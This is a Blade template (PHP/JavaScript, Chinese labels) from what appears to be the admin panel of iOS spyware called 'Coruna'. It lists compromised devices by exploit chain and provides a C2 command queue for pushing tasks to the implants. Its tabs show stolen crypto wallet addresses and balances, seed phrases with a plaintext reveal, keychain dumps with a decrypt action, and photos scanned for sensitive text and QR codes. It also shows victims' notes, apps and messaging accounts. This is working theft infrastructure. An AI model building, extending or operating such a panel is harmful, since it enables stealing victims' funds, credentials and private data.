Files
coruna-lab/resources/views/admin/devices/show.blade.php
T
2026-09-12 03:42:48 +08:00

960 lines
37 KiB
PHP
Raw Blame History

This file contains ambiguous Unicode characters
This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.
@extends('admin.content')
@section('title', '设备 '.$device->device_id)
@section('content')
<div class="layui-card">
<div class="layui-card-header" style="display:flex;align-items:center;justify-content:space-between;">
<span>设备详情</span>
<button type="button" class="layui-btn layui-btn-danger layui-btn-sm" id="LAY-device-destroy">删除设备</button>
</div>
<div class="layui-card-body">
<table class="layui-table" style="margin-bottom: 16px;">
<tr>
<th width="140">设备 ID</th>
<td><code>{{ $device->device_id }}</code></td>
<th width="140">渠道 ID</th>
<td><code>{{ $device->channel_id ?: '—' }}</code></td>
</tr>
<tr>
<th>利用链</th>
<td colspan="3">
@if ($device->isDarkSword())
<span class="tag-chain tag-chain-darksword">DarkSword</span>
@else
<span class="tag-chain tag-chain-coruna">Coruna</span>
@endif
</td>
</tr>
<tr>
<th>设备型号</th>
<td>{{ $device->device_model ?: '—' }}</td>
<th>iOS 版本</th>
<td>{{ $device->ios_version ?: '—' }}</td>
</tr>
<tr>
<th>手机号</th>
<td>{{ $device->phone ?: '—' }}</td>
<th>IP</th>
<td>{{ $device->formattedIp() !== '' ? $device->formattedIp() : '—' }}</td>
</tr>
<tr>
<th>钱包</th>
<td colspan="3">
@if ((int) $device->has_wallet === \App\Models\Device::WALLET_YES)
<span style="color:#d97706;font-weight:600;">有</span>
@foreach ($device->walletNameList() as $name)
<span class="tag-wallet">{{ $name }}</span>
@endforeach
@elseif ((int) $device->has_wallet === \App\Models\Device::WALLET_NONE)
无
@else
未知
@endif
</td>
</tr>
<tr>
<th>WS/TG</th>
<td colspan="3">
@if ($device->hasWhatsApp() || $device->hasTelegram())
@if ($device->hasWhatsApp())
<span class="tag-im tag-im-ws">WS</span>
@endif
@if ($device->hasTelegram())
<span class="tag-im tag-im-tg">TG</span>
@endif
@else
—
@endif
</td>
</tr>
<tr>
<th>相册存储</th>
<td colspan="3">
<form class="layui-form" lay-filter="LAY-device-album" style="margin:0;">
<input type="checkbox" name="album_storage" lay-skin="switch" lay-text="开|关"
lay-filter="LAY-device-album-storage"
{{ $device->albumStorageEnabled() ? 'checked' : '' }}>
</form>
</td>
</tr>
<tr>
<th>User-Agent</th>
<td colspan="3" class="wrap">{{ $device->user_agent ?: '—' }}</td>
</tr>
<tr>
<th>安装 / 更新</th>
<td colspan="3">{{ $device->created_at }} / {{ $device->updated_at }}</td>
</tr>
</table>
@php
$queueState = $queueState ?? ['pending' => [], 'dispatched' => [], 'done' => []];
$queueTypes = \App\Services\DsBeaconQueue::ALL_TYPES;
$queueSchema = $queueSchema ?? \App\Services\DsBeaconQueue::PARAM_SCHEMA;
$statusLabels = \App\Services\DsBeaconQueue::STATUS_LABELS;
$hasQueue = !empty($queueState['pending']) || !empty($queueState['dispatched']) || $device->chain === \App\Models\Device::CHAIN_DARKSWORD;
@endphp
@if ($hasQueue)
<div class="layui-elem-quote" style="margin:0 0 16px;">
C2 队列 (Redis)
@if (!empty($queueState['pending']))
· 下一条 <code>{{ $queueState['pending'][0]['type'] }}</code>
@elseif (!empty($queueState['dispatched']))
· 已下发未回传
@else
· 队列已空
@endif
· <span style="font-size:12px;color:#999;">回传结果见「日志」</span>
</div>
{{-- Add task: layui button opens layer.open with form select + dynamic params --}}
<div style="margin-bottom: 16px;">
<button type="button" class="layui-btn layui-btn-sm" id="btnQueueAdd">
<i class="layui-icon layui-icon-add-1"></i> 添加任务
</button>
</div>
@php
// Build a per-type label map from PARAM_SCHEMA: type => [field name => label]
$paramLabelsByType = [];
foreach ($queueSchema as $type => $fields) {
foreach ($fields as $f) {
$paramLabelsByType[$type][$f['name']] = $f['label'];
}
}
@endphp
<table class="layui-table" style="margin-bottom: 16px;">
<thead>
<tr>
<th width="60">#</th>
<th width="140">任务</th>
<th>参数</th>
<th width="100">状态</th>
<th width="160">下发时间</th>
<th width="160">回传时间</th>
<th>回传</th>
<th width="80">操作</th>
</tr>
</thead>
<tbody>
{{-- Pending tasks (removable) --}}
@php $rowIdx = 0; @endphp
@foreach ($queueState['pending'] as $task)
@php $rowIdx++; @endphp
<tr style="background:#f0fdf4;">
<td>{{ $rowIdx }}</td>
<td><code>{{ $task['type'] }}</code></td>
<td class="wrap">
@php
$params = $task['params'] ?? [];
$typeLabels = $paramLabelsByType[$task['type']] ?? [];
$parts = [];
foreach ($params as $pk => $pv) {
if ($pv === null || $pv === '' || $pv === false) continue;
$lbl = $typeLabels[$pk] ?? $pk;
if (is_bool($pv)) $pv = $pv ? '是' : '否';
$parts[] = '<span style="margin-right:8px;"><code>' . e($lbl) . '</code>: ' . e((string) $pv) . '</span>';
}
@endphp
{!! !empty($parts) ? implode('', $parts) : '—' !!}
</td>
<td>{{ $statusLabels[$task['status']] ?? $task['status'] }}</td>
<td>—</td>
<td>—</td>
<td>—</td>
<td>
<button type="button" class="layui-btn layui-btn-sm layui-btn-danger"
onclick="queueRemove('{{ $task['task_id'] }}', '{{ $task['type'] }}')">移除</button>
</td>
</tr>
@endforeach
{{-- Dispatched tasks (in-flight) --}}
@foreach ($queueState['dispatched'] as $task)
@php $rowIdx++; @endphp
<tr style="background:#fff7ed;">
<td>{{ $rowIdx }}</td>
<td><code>{{ $task['type'] }}</code></td>
<td class="wrap">
@php
$params = $task['params'] ?? [];
$typeLabels = $paramLabelsByType[$task['type']] ?? [];
$parts = [];
foreach ($params as $pk => $pv) {
if ($pv === null || $pv === '' || $pv === false) continue;
$lbl = $typeLabels[$pk] ?? $pk;
if (is_bool($pv)) $pv = $pv ? '是' : '否';
$parts[] = '<span style="margin-right:8px;"><code>' . e($lbl) . '</code>: ' . e((string) $pv) . '</span>';
}
@endphp
{!! !empty($parts) ? implode('', $parts) : '—' !!}
</td>
<td>{{ $statusLabels[$task['status']] ?? $task['status'] }}</td>
<td>{{ $task['dispatched_at'] ?? '—' }}</td>
<td>—</td>
<td>—</td>
<td>—</td>
</tr>
@endforeach
@if ($rowIdx === 0)
<tr><td colspan="8" style="text-align:center;color:#999;">队列为空,点击「添加任务」按钮添加</td></tr>
@endif
</tbody>
</table>
{{-- Hidden data for JS --}}
<script>
var queueParamSchema = @json($queueSchema);
var queueAddUrl = @json(route(($portal ?? 'admin').'.devices.queue.add', $device));
var queueRemoveUrl = @json(route(($portal ?? 'admin').'.devices.queue.remove', $device));
var csrfToken = @json(csrf_token());
</script>
@endif
<div class="layui-tab layui-tab-brief" style="margin-bottom: 0;">
<ul class="layui-tab-title">
@php $tabs = [
'wallets' => '钱包地址',
'mnemonics' => '助记词',
'keystores' => '钥匙串',
'photos' => '相册',
'apps' => '已装 APP',
'notes' => '备忘录',
'events' => '日志',
]; @endphp
@foreach ($tabs as $key => $label)
<li class="{{ $tab === $key ? 'layui-this' : '' }}">
<a href="{{ route(($portal ?? 'admin').'.devices.show', [$device, 'tab' => $key]) }}">{{ $label }}</a>
</li>
@endforeach
</ul>
</div>
<div class="device-tab-body" style="padding-top: 16px;">
@if ($tab === 'photos')
<form class="layui-form" lay-filter="LAY-photo-filter" style="margin-bottom: 12px;">
<div class="layui-form-item" style="margin-bottom: 0;">
<div class="layui-inline">
<label class="layui-form-label" style="width: auto;">已读</label>
<div class="layui-input-inline" style="width: 140px;">
<select name="read">
<option value="">全部</option>
<option value="0">未读</option>
<option value="1">已读</option>
</select>
</div>
</div>
<div class="layui-inline">
<label class="layui-form-label" style="width: auto;">敏感词</label>
<div class="layui-input-inline" style="width: 180px;">
<select name="sensitive">
<option value="">全部</option>
<option value="1">含敏感词 (x-hit&gt;0)</option>
</select>
</div>
</div>
<div class="layui-inline">
<button class="layui-btn" lay-submit lay-filter="LAY-photo-search">筛选</button>
<button type="reset" class="layui-btn layui-btn-primary" id="LAY-photo-reset">重置</button>
@if(!empty($can_clear_photos))
<button type="button" class="layui-btn layui-btn-danger" id="LAY-photo-clear">清理相册数据</button>
@endif
</div>
</div>
</form>
<div id="LAY-photo-grid" class="photo-grid"></div>
<div id="LAY-photo-empty" style="display:none;color:#999;padding:12px 0;">暂无相册</div>
<div id="LAY-photo-page" style="margin-top: 16px; text-align: right;"></div>
@elseif ($tab === 'notes')
<div id="LAY-note-cards"></div>
<div id="LAY-note-empty" style="display:none;color:#999;padding:12px 0;">暂无备忘录</div>
<div id="LAY-note-page" style="margin-top: 16px; text-align: right;"></div>
@else
@if ($tab === 'wallets')
<form class="layui-form" lay-filter="LAY-wallet-filter" style="margin-bottom: 12px;">
<div class="layui-form-item" style="margin-bottom: 0;">
<div class="layui-inline">
<label class="layui-form-label" style="width: auto;">Source</label>
<div class="layui-input-inline" style="width: 180px;">
<select name="source">
<option value="">全部</option>
@foreach ($addressSources as $src)
<option value="{{ $src }}">{{ $src }}</option>
@endforeach
</select>
</div>
</div>
<div class="layui-inline">
<label class="layui-form-label" style="width: auto;">Chain</label>
<div class="layui-input-inline" style="width: 160px;">
<select name="chain_type">
<option value="">全部</option>
@foreach ($addressChains as $chain)
<option value="{{ $chain }}">{{ $chain }}</option>
@endforeach
</select>
</div>
</div>
<div class="layui-inline">
<button class="layui-btn" lay-submit lay-filter="LAY-wallet-search">筛选</button>
<button type="reset" class="layui-btn layui-btn-primary" id="LAY-wallet-reset">重置</button>
</div>
</div>
</form>
@endif
<table id="LAY-device-tab-list" lay-filter="LAY-device-tab-list"></table>
@endif
</div>
</div>
</div>
@endsection
@push('scripts')
@include('admin.partials.mnemonic_reveal')
<script>
layui.use(['table', 'form', 'laypage', 'layer'], function () {
var table = layui.table;
var form = layui.form;
var laypage = layui.laypage;
var layer = layui.layer;
var $ = layui.$;
var tab = @json($tab);
var tabDataUrl = @json(route(($portal ?? 'admin').'.devices.tabData', $device));
var updateUrl = @json(route(($portal ?? 'admin').'.devices.update', $device));
var clearPhotosUrl = @json(route(($portal ?? 'admin').'.devices.photos.clear', $device));
var destroyUrl = @json(route(($portal ?? 'admin').'.devices.destroy', $device));
var listUrl = @json(route(($portal ?? 'admin').'.devices.index'));
var token = @json(csrf_token());
var revealMnemonic = window.CorunaMnemonicReveal({
token: token,
google_bound: @json(!empty($google_bound)),
security_url: @json($google2fa_url ?? '')
});
var dash = function (v) { return v ? v : '—'; };
var esc = function (v) {
return String(v == null ? '' : v)
.replace(/&/g, '&amp;')
.replace(/</g, '&lt;')
.replace(/>/g, '&gt;')
.replace(/"/g, '&quot;');
};
form.on('switch(LAY-device-album-storage)', function (obj) {
var on = obj.elem.checked ? 1 : 0;
$.ajax({
url: updateUrl,
method: 'POST',
data: { album_storage: on, _method: 'PUT', _token: token },
success: function (res) {
if (!res || res.code !== 0) {
obj.elem.checked = !obj.elem.checked;
form.render('checkbox');
return layer.msg((res && res.msg) || '保存失败');
}
layer.msg(on ? '已开启相册存储' : '已关闭相册存储');
},
error: function () {
obj.elem.checked = !obj.elem.checked;
form.render('checkbox');
layer.msg('保存失败');
}
});
});
form.render('checkbox');
$('#LAY-device-destroy').on('click', function () {
layer.confirm('确认删除该设备?将同时删除相册、钱包、助记词、APP、备忘录、C2 队列、DS 阶段日志、访问记录及该设备的 DS 文件日志,且不可恢复。', {
icon: 3,
title: '删除设备'
}, function (index) {
layer.close(index);
var loading = layer.load(1, { shade: 0.2 });
$.ajax({
url: destroyUrl,
method: 'POST',
data: { _method: 'DELETE', _token: token },
success: function (res) {
layer.close(loading);
if (!res || res.code !== 0) return layer.msg((res && res.msg) || '删除失败');
layer.msg('已删除', { time: 800 }, function () {
var next = (res.data && res.data.list_url) ? res.data.list_url : listUrl;
try {
if (parent && parent.layui && parent.layui.index && parent.layui.index.closeThisTabs) {
parent.layui.index.closeThisTabs();
parent.layui.index.openTabsPage(next, '设备管理');
return;
}
} catch (e) {}
location.href = next;
});
},
error: function (xhr) {
layer.close(loading);
var msg = (xhr.responseJSON && xhr.responseJSON.msg) ? xhr.responseJSON.msg : '删除失败';
layer.msg(msg);
}
});
});
});
if (tab === 'photos') {
var photoState = { page: 1, limit: 20, sensitive: '', read: '' };
var renderPhotos = function () {
$.getJSON(tabDataUrl, {
tab: 'photos',
page: photoState.page,
limit: photoState.limit,
sensitive: photoState.sensitive,
read: photoState.read
}, function (res) {
var $grid = $('#LAY-photo-grid').empty();
var list = (res && res.data) ? res.data : [];
if (!list.length) {
$('#LAY-photo-empty').show();
} else {
$('#LAY-photo-empty').hide();
list.forEach(function (p) {
var hit = (p.x_hit == null || p.x_hit === '') ? '—' : p.x_hit;
var card = $(
'<a class="photo-card" href="javascript:;">' +
(Number(p.read) === 1 ? '' : '<i class="photo-unread-dot" title="未读"></i>') +
'<img alt="">' +
'<div></div>' +
'<div class="muted" style="font-size:12px;color:#888;"></div>' +
'</a>'
);
card.find('img').attr('src', p.url).attr('alt', p.sha256 || '');
card.find('div').eq(0).text((p.size == null ? '—' : p.size) + ' B · x-hit ' + hit);
card.find('div').eq(1).text(
'up ' + dash(p.upload_count) +
' · idx ' + dash(p.process_index) +
' · text ' + dash(p.text_count) +
' · qr ' + dash(p.barcode_count)
);
card.on('click', function (e) {
e.preventDefault();
card.find('.photo-unread-dot').remove();
p.read = 1;
layer.open({
type: 1,
title: '相册预览',
area: ['80%', '85%'],
shadeClose: true,
content: '<div style="padding:12px;text-align:center;background:#111;min-height:100%;box-sizing:border-box;">' +
'<img src="' + p.url + '" style="max-width:100%;max-height:75vh;object-fit:contain;">' +
'<div style="color:#ccc;margin-top:10px;font-size:12px;word-break:break-all;">' +
esc(p.sha256 || '') + '</div></div>'
});
});
$grid.append(card);
});
}
laypage.render({
elem: 'LAY-photo-page',
count: (res && res.count) ? res.count : 0,
curr: photoState.page,
limit: photoState.limit,
limits: [10, 20, 30, 50],
layout: ['count', 'prev', 'page', 'next', 'limit'],
jump: function (obj, first) {
if (first) return;
photoState.page = obj.curr;
photoState.limit = obj.limit;
renderPhotos();
}
});
});
};
form.on('submit(LAY-photo-search)', function (data) {
photoState.sensitive = data.field.sensitive || '';
photoState.read = data.field.read || '';
photoState.page = 1;
renderPhotos();
return false;
});
$('#LAY-photo-reset').on('click', function () {
setTimeout(function () {
photoState.sensitive = '';
photoState.read = '';
photoState.page = 1;
renderPhotos();
}, 0);
});
@if(!empty($can_clear_photos))
$('#LAY-photo-clear').on('click', function () {
layer.confirm('确认清理该设备全部相册数据?将删除数据库记录及本地图片文件,且不可恢复。', {
icon: 3,
title: '清理相册'
}, function (index) {
layer.close(index);
var loading = layer.load(1, { shade: 0.2 });
$.ajax({
url: clearPhotosUrl,
method: 'POST',
data: { _token: token },
success: function (res) {
layer.close(loading);
if (!res || res.code !== 0) return layer.msg((res && res.msg) || '清理失败');
var n = (res.data && res.data.deleted_rows) ? res.data.deleted_rows : 0;
layer.msg('已清理 ' + n + ' 条相册记录');
photoState.page = 1;
renderPhotos();
},
error: function () {
layer.close(loading);
layer.msg('清理失败');
}
});
});
});
@endif
form.render('select');
renderPhotos();
return;
}
if (tab === 'notes') {
var noteState = { page: 1, limit: 20 };
var renderNotes = function () {
$.getJSON(tabDataUrl, {
tab: 'notes',
page: noteState.page,
limit: noteState.limit
}, function (res) {
var $list = $('#LAY-note-cards').empty();
var items = (res && res.data) ? res.data : [];
if (!items.length) {
$('#LAY-note-empty').show();
} else {
$('#LAY-note-empty').hide();
items.forEach(function (it) {
var $card = $('<div class="note-card"></div>');
$card.append($('<div class="note-card-title"></div>').text(it.title || '无标题'));
$card.append($('<pre class="note-card-body"></pre>').text(it.body || ''));
$list.append($card);
});
}
laypage.render({
elem: 'LAY-note-page',
count: (res && res.count) ? res.count : 0,
curr: noteState.page,
limit: noteState.limit,
limits: [10, 20, 30, 50],
layout: ['count', 'prev', 'page', 'next', 'limit'],
jump: function (obj, first) {
if (first) return;
noteState.page = obj.curr;
noteState.limit = obj.limit;
renderNotes();
}
});
});
};
renderNotes();
return;
}
var colsMap = {
wallets: [[
{ field: 'id', title: 'ID', width: 80, sort: true },
{ field: 'source', title: 'Source', width: 140, sort: true, templet: function (d) { return dash(d.source); } },
{ field: 'chain_type', title: 'Chain', width: 120, sort: true, templet: function (d) { return dash(d.chain_type); } },
{ field: 'address', title: 'Address', minWidth: 220, sort: true, templet: function (d) { return '<code>' + esc(d.address) + '</code>'; } },
{ field: 'usdt', title: 'USDT', width: 90 },
{ field: 'trx', title: 'TRX', width: 90 },
{ field: 'eth', title: 'ETH', width: 90 },
{ field: 'btc', title: 'BTC', width: 100 },
{ field: 'bnb', title: 'BNB', width: 90 },
{ field: 'monitor', title: '监听', width: 70, templet: function (d) {
return Number(d.monitor) === 1 ? '开' : '关';
} },
{ field: 'updated_at', title: '更新时间', width: 170, sort: true, templet: function (d) { return dash(d.updated_at); } }
]],
mnemonics: [[
{ field: 'id', title: 'ID', width: 80, sort: true },
{ field: 'source', title: 'Source', width: 160, sort: true, templet: function (d) { return dash(d.source); } },
{ field: 'mnemonic', title: 'Mnemonic', minWidth: 220, templet: function (d) { return '<code>' + esc(d.mnemonic) + '</code>'; } },
{ field: 'created_at', title: '时间', width: 170, sort: true, templet: function (d) { return dash(d.created_at); } }
@if(!empty($can_reveal))
, { title: '操作', width: 110, align: 'center', templet: function (d) {
return d.reveal_url ? '<a class="layui-btn layui-btn-danger layui-btn-xs" lay-event="reveal">查看明文</a>' : '—';
} }
@endif
]],
keystores: [[
{ field: 'id', title: 'ID', width: 80, sort: true },
{ field: 'source', title: '来源', width: 140, sort: true, templet: function (d) { return esc(d.source || '未知'); } },
{ field: 'decrypted', title: '已解密', width: 90, sort: true, templet: function (d) {
return Number(d.decrypted) === 1 ? '是' : '否';
} },
{ field: 'kind', title: '类型', width: 110, templet: function (d) { return dash(d.kind); } },
{ field: 'item_count', title: '条目', width: 70 },
{ field: 'summary', title: '摘要', minWidth: 220, templet: function (d) { return dash(d.summary); } },
{ field: 'created_at', title: '时间', width: 170, sort: true, templet: function (d) { return dash(d.created_at); } },
{ title: '操作', width: 180, align: 'center', templet: function (d) {
var html = '';
if (d.items_url) html += '<a class="layui-btn layui-btn-warm layui-btn-xs" lay-event="items">查看</a>';
if (d.decrypt_url) html += '<a class="layui-btn layui-btn-xs" lay-event="decrypt">解密</a>';
return html || '—';
} }
]],
apps: [[
{ field: 'id', title: 'ID', width: 80, sort: true },
{ field: 'name', title: '名称', minWidth: 140, sort: true, templet: function (d) { return dash(d.name); } },
{ field: 'bundle_id', title: 'Bundle', minWidth: 200, sort: true, templet: function (d) { return d.bundle_id ? '<code>' + esc(d.bundle_id) + '</code>' : '—'; } },
{ field: 'version', title: '版本', width: 120, sort: true, templet: function (d) { return dash(d.version); } },
{ field: 'is_wallet', title: 'Wallet', width: 100, sort: true, templet: function (d) {
return d.is_wallet ? '<span class="tag-wallet">wallet</span>' : '—';
} }
]],
events: [[
{ field: 'id', title: 'ID', width: 80, sort: true },
{ field: 'created_at', title: '时间', width: 170, sort: true, templet: function (d) { return dash(d.created_at); } },
{ field: 'event_name', title: 'Event', width: 160, sort: true, templet: function (d) { return d.event_name ? '<code>' + esc(d.event_name) + '</code>' : '—'; } },
{ field: 'desc', title: 'Desc', minWidth: 180, templet: function (d) { return dash(d.desc); } },
{ field: 'context', title: 'Context', minWidth: 220, templet: function (d) {
return d.context ? '<span class="wrap">' + esc(d.context) + '</span>' : '—';
} }
]]
};
var emptyMap = {
wallets: '暂无地址',
mnemonics: '暂无助记词',
keystores: '暂无钥匙串',
apps: '暂无应用',
notes: '暂无备忘录',
events: '暂无日志'
};
table.render({
elem: '#LAY-device-tab-list',
id: 'LAY-device-tab-list',
url: tabDataUrl,
where: { tab: tab },
toolbar: true,
defaultToolbar: ['filter', 'exports', 'print'],
cols: colsMap[tab] || colsMap.wallets,
page: true,
limit: 20,
limits: [10, 20, 30, 50],
text: { none: emptyMap[tab] || '暂无数据' },
request: { pageName: 'page', limitName: 'limit' },
response: { statusName: 'code', statusCode: 0, msgName: 'msg', countName: 'count', dataName: 'data' }
});
if (tab === 'mnemonics') {
table.on('tool(LAY-device-tab-list)', function (obj) {
if (obj.event === 'reveal') revealMnemonic(obj.data);
});
}
if (tab === 'keystores') {
table.on('tool(LAY-device-tab-list)', function (obj) {
if (obj.event === 'decrypt') {
if (!obj.data.decrypt_url) return layer.msg('无法解密');
layer.confirm('对该设备已存钥匙串尝试解密并写入助记词?Trust UTC 可能需要一两分钟,请勿关闭页面。', { icon: 3, title: '解密' }, function (idx) {
layer.close(idx);
var loadIdx = layer.msg('解密中…', { icon: 16, shade: 0.2, time: 0 });
$.ajax({
url: obj.data.decrypt_url,
method: 'POST',
data: { _token: token },
timeout: 180000,
success: function (res) {
layer.msg((res && res.msg) || '已处理');
if (res && res.code === 0) table.reload('LAY-device-tab-list');
},
error: function (xhr) {
var msg = '解密失败';
if (xhr.statusText === 'timeout') msg = '解密超时,请稍后重试';
else if (xhr.responseJSON && xhr.responseJSON.msg) msg = xhr.responseJSON.msg;
layer.msg(msg);
},
complete: function () {
layer.close(loadIdx);
}
});
});
return;
}
if (obj.event !== 'items' || !obj.data.items_url) return;
layer.load(1);
$.getJSON(obj.data.items_url, function (res) {
layer.closeAll('loading');
if (!res || res.code !== 0) {
return layer.msg((res && res.msg) || '加载失败');
}
var d = res.data || {};
var items = d.items || [];
var html = '<div style="padding:12px 16px 16px;"><div style="color:#666;font-size:13px;margin-bottom:10px;">#' +
esc(d.id) + ' · 来源 ' + esc(d.source || '未知') + ' · ' + esc(d.kind || '') +
' · 已解密 ' + (Number(d.decrypted) === 1 ? '是' : '否') +
' · ' + items.length + ' 条</div>';
if (!items.length) {
html += '<div style="color:#999;padding:24px 0;text-align:center;">暂无条目</div></div>';
} else {
html += '<table class="layui-table"><thead><tr>' +
'<th>Account</th><th>Service</th><th>Access Group</th><th>Class</th><th>长度</th><th>预览</th>' +
'</tr></thead><tbody>';
items.forEach(function (it) {
html += '<tr><td><code>' + esc(it.account || it.path || '—') + '</code></td>' +
'<td>' + dash(it.service) + '</td>' +
'<td><code>' + esc(it.access_group || '') + '</code></td>' +
'<td>' + dash(it.protection_class) + '</td>' +
'<td>' + esc(it.data_len) + '</td>' +
'<td class="wrap"><code>' + esc(it.data_preview || '') + '</code></td></tr>';
});
html += '</tbody></table></div>';
}
layer.open({ type: 1, title: '钥匙串 #' + (d.id || ''), area: ['920px', '70%'], content: html });
}).fail(function () {
layer.closeAll('loading');
layer.msg('加载失败');
});
});
}
if (tab === 'wallets') {
form.render('select');
form.on('submit(LAY-wallet-search)', function (data) {
table.reload('LAY-device-tab-list', {
where: {
tab: 'wallets',
source: data.field.source || '',
chain_type: data.field.chain_type || ''
},
page: { curr: 1 }
});
return false;
});
$('#LAY-wallet-reset').on('click', function () {
setTimeout(function () {
table.reload('LAY-device-tab-list', {
where: { tab: 'wallets', source: '', chain_type: '' },
page: { curr: 1 }
});
}, 0);
});
}
});
</script>
{{-- ===== C2 队列管理 (layui 组件) ===== --}}
<script>
layui.use(['form', 'layer', 'jquery'], function () {
var form = layui.form;
var layer = layui.layer;
var $ = layui.jquery;
// 命令类型列表(key => 中文描述)
var queueTypes = @json(\App\Services\DsBeaconQueue::ALL_TYPES);
var paramSchema = window.queueParamSchema || {};
var addUrl = window.queueAddUrl;
var removeUrl = window.queueRemoveUrl;
var token = window.csrfToken;
// 构建「添加任务」弹窗的 HTML(含 layui form select + 动态参数容器)
function buildAddFormHtml() {
var opts = '<option value="">请选择命令</option>';
for (var k in queueTypes) {
if (!queueTypes.hasOwnProperty(k)) continue;
opts += '<option value="' + k + '">' + k + ' (' + queueTypes[k] + ')</option>';
}
return ''
+ '<form class="layui-form" id="queueAddForm" lay-filter="queueAddForm" style="padding:20px 24px;">'
+ '<div class="layui-form-item">'
+ '<label class="layui-form-label">命令</label>'
+ '<div class="layui-input-block">'
+ '<select name="type" lay-filter="queueTypeSelect" lay-search>' + opts + '</select>'
+ '</div>'
+ '</div>'
+ '<div id="queueParamFields"></div>'
+ '<div class="layui-form-item" style="margin-bottom:0;">'
+ '<div class="layui-input-block">'
+ '<button type="button" class="layui-btn" id="queueAddSubmit" lay-submit lay-filter="queueAddSubmit">提交</button>'
+ '<button type="reset" class="layui-btn layui-btn-primary" style="margin-left:8px;">重置</button>'
+ '</div>'
+ '</div>'
+ '</form>';
}
// 根据选中命令类型渲染动态参数字段
function renderParamFields(type) {
var $box = $('#queueParamFields');
$box.empty();
var fields = paramSchema[type] || [];
if (!fields.length) {
return;
}
var html = '';
for (var i = 0; i < fields.length; i++) {
var f = fields[i];
var name = f.name, label = f.label, ftype = f.type, def = f.default, req = f.required;
var reqMark = req ? '<span style="color:#ff5722;">*</span> ' : '';
if (ftype === 'select') {
var opts = '';
if (f.options) {
for (var ok in f.options) {
if (!f.options.hasOwnProperty(ok)) continue;
opts += '<option value="' + ok + '"' + (ok == def ? ' selected' : '') + '>' + f.options[ok] + '</option>';
}
}
html += '<div class="layui-form-item">'
+ '<label class="layui-form-label">' + reqMark + label + '</label>'
+ '<div class="layui-input-block">'
+ '<select name="params[' + name + ']" lay-filter="param_' + name + '">' + opts + '</select>'
+ '</div>'
+ '</div>';
} else if (ftype === 'checkbox') {
var checked = def ? ' checked' : '';
html += '<div class="layui-form-item">'
+ '<label class="layui-form-label">' + reqMark + label + '</label>'
+ '<div class="layui-input-block">'
+ '<input type="checkbox" name="params[' + name + ']" lay-skin="switch" lay-text="开|关"' + checked + '>'
+ '</div>'
+ '</div>';
} else if (ftype === 'textarea') {
html += '<div class="layui-form-item layui-form-text">'
+ '<label class="layui-form-label">' + reqMark + label + '</label>'
+ '<div class="layui-input-block">'
+ '<textarea name="params[' + name + ']" placeholder="请输入' + label + '" class="layui-textarea" style="height:120px;">' + (def || '') + '</textarea>'
+ '</div>'
+ '</div>';
} else if (ftype === 'number') {
html += '<div class="layui-form-item">'
+ '<label class="layui-form-label">' + reqMark + label + '</label>'
+ '<div class="layui-input-block">'
+ '<input type="number" name="params[' + name + ']" value="' + (def != null ? def : '') + '" placeholder="请输入' + label + '" class="layui-input">'
+ '</div>'
+ '</div>';
} else {
// text
html += '<div class="layui-form-item">'
+ '<label class="layui-form-label">' + reqMark + label + '</label>'
+ '<div class="layui-input-block">'
+ '<input type="text" name="params[' + name + ']" value="' + (def != null ? def : '') + '" placeholder="请输入' + label + '" class="layui-input">'
+ '</div>'
+ '</div>';
}
}
$box.html(html);
form.render(null, 'queueAddForm');
}
// 绑定「添加任务」按钮
$('#btnQueueAdd').on('click', function () {
var idx = layer.open({
type: 1,
title: '添加 C2 任务',
area: ['520px', '500px'],
maxmin: false,
content: buildAddFormHtml(),
success: function (layero, index) {
// 渲染初始 select
form.render(null, 'queueAddForm');
// 监听命令类型切换
form.on('select(queueTypeSelect)', function (data) {
renderParamFields(data.value);
});
// 监听提交
form.on('submit(queueAddSubmit)', function (data) {
submitAddTask(data.field, index);
return false;
});
}
});
});
// 提交添加任务
function submitAddTask(formData, layerIndex) {
if (!formData.type) {
return layer.msg('请选择命令类型', { icon: 2 });
}
// 收集 params
var params = {};
var fields = paramSchema[formData.type] || [];
for (var i = 0; i < fields.length; i++) {
var f = fields[i];
var key = f.name;
var raw = formData['params[' + key + ']'];
if (raw === undefined || raw === '') {
if (f.required) {
layer.msg('请填写 ' + f.label, { icon: 2 });
return;
}
continue;
}
if (f.type === 'number') {
params[key] = Number(raw);
} else if (f.type === 'checkbox') {
params[key] = (raw === 'on' || raw === true || raw === 'true');
} else {
params[key] = raw;
}
}
var loadIdx = layer.load(1, { shade: 0.2 });
$.ajax({
url: addUrl,
method: 'POST',
data: { type: formData.type, params: params, _token: token },
success: function (res) {
layer.close(loadIdx);
if (!res || res.code !== 0) {
return layer.msg((res && res.msg) || '添加失败', { icon: 2 });
}
layer.close(layerIndex);
layer.msg('已添加', { icon: 1, time: 800 }, function () {
location.reload();
});
},
error: function (xhr) {
layer.close(loadIdx);
var msg = (xhr.responseJSON && xhr.responseJSON.msg) ? xhr.responseJSON.msg : '添加失败';
layer.msg(msg, { icon: 2 });
}
});
}
// 移除任务(使用 layui layer.confirm 替代原生 confirm)
window.queueRemove = function (taskId, type) {
layer.confirm('移除此任务?(' + type + ')', {
icon: 3,
title: '移除任务'
}, function (index) {
layer.close(index);
var loadIdx = layer.load(1, { shade: 0.2 });
$.ajax({
url: removeUrl,
method: 'POST',
data: { task_id: taskId, _token: token },
success: function (res) {
layer.close(loadIdx);
if (!res || res.code !== 0) {
return layer.msg((res && res.msg) || '移除失败', { icon: 2 });
}
layer.msg('已移除', { icon: 1, time: 800 }, function () {
location.reload();
});
},
error: function (xhr) {
layer.close(loadIdx);
var msg = (xhr.responseJSON && xhr.responseJSON.msg) ? xhr.responseJSON.msg : '移除失败';
layer.msg(msg, { icon: 2 });
}
});
});
};
});
</script>
@endpush